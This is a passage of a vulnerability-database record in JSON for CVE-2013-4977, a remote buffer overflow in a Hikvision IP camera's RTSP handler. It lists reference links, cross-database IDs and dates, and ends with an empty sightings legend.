"url": "http://www.coresecurity.com/advisories/hikvision-ip-cameras-multiple-vulnerabilities#devices"
},
{
"trust": 0.1,
"url": "https://ieeexplore.ieee.org/abstract/document/10769424"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-4977"
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com/files/attachments/core_security_advisories.asc."
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-4975"
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com/"
},
{
"trust": 0.1,
"url": "http://www.hikvision.com/en/products_show.asp?id=506."
},
{
"trust": 0.1,
"url": "http://www.coresecurity.com."
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2013-4976"
},
{
"trust": 0.1,
"url": "http://\u0027"
},
{
"trust": 0.1,
"url": "http://creativecommons.org/licenses/by-nc-sa/3.0/us/"
},
{
"trust": 0.1,
"url": "http://www.hikvision.com/en/us/contacthikvision.asp."
},
{
"trust": 0.1,
"url": "http://corelabs.coresecurity.com."
}
],
"sources": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2013-11935"
},
{
"db": "VULHUB",
"id": "VHN-64979"
},
{
"db": "BID",
"id": "61642"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-006098"
},
{
"db": "PACKETSTORM",
"id": "122718"
},
{
"db": "CNNVD",
"id": "CNNVD-201308-117"
},
{
"db": "NVD",
"id": "CVE-2013-4977"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "OTHER",
"id": null
},
{
"db": "CNVD",
"id": "CNVD-2013-11935"
},
{
"db": "VULHUB",
"id": "VHN-64979"
},
{
"db": "BID",
"id": "61642"
},
{
"db": "JVNDB",
"id": "JVNDB-2013-006098"
},
{
"db": "PACKETSTORM",
"id": "122718"
},
{
"db": "CNNVD",
"id": "CNNVD-201308-117"
},
{
"db": "NVD",
"id": "CVE-2013-4977"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2013-08-09T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-11935"
},
{
"date": "2014-03-03T00:00:00",
"db": "VULHUB",
"id": "VHN-64979"
},
{
"date": "2013-08-06T00:00:00",
"db": "BID",
"id": "61642"
},
{
"date": "2014-03-05T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-006098"
},
{
"date": "2013-08-07T01:52:06",
"db": "PACKETSTORM",
"id": "122718"
},
{
"date": "2013-08-14T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201308-117"
},
{
"date": "2014-03-03T16:55:04.037000",
"db": "NVD",
"id": "CVE-2013-4977"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2015-01-22T00:00:00",
"db": "CNVD",
"id": "CNVD-2013-11935"
},
{
"date": "2017-08-29T00:00:00",
"db": "VULHUB",
"id": "VHN-64979"
},
{
"date": "2013-08-06T00:00:00",
"db": "BID",
"id": "61642"
},
{
"date": "2014-03-05T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2013-006098"
},
{
"date": "2014-03-04T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201308-117"
},
{
"date": "2025-04-12T10:46:40.837000",
"db": "NVD",
"id": "CVE-2013-4977"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201308-117"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Hikvision DS-2CD7153-E IP Camera firmware RTSP Packet Handler Vulnerable to buffer overflow",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2013-006098"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer overflow",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201308-117"
}
],
"trust": 0.6
}
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.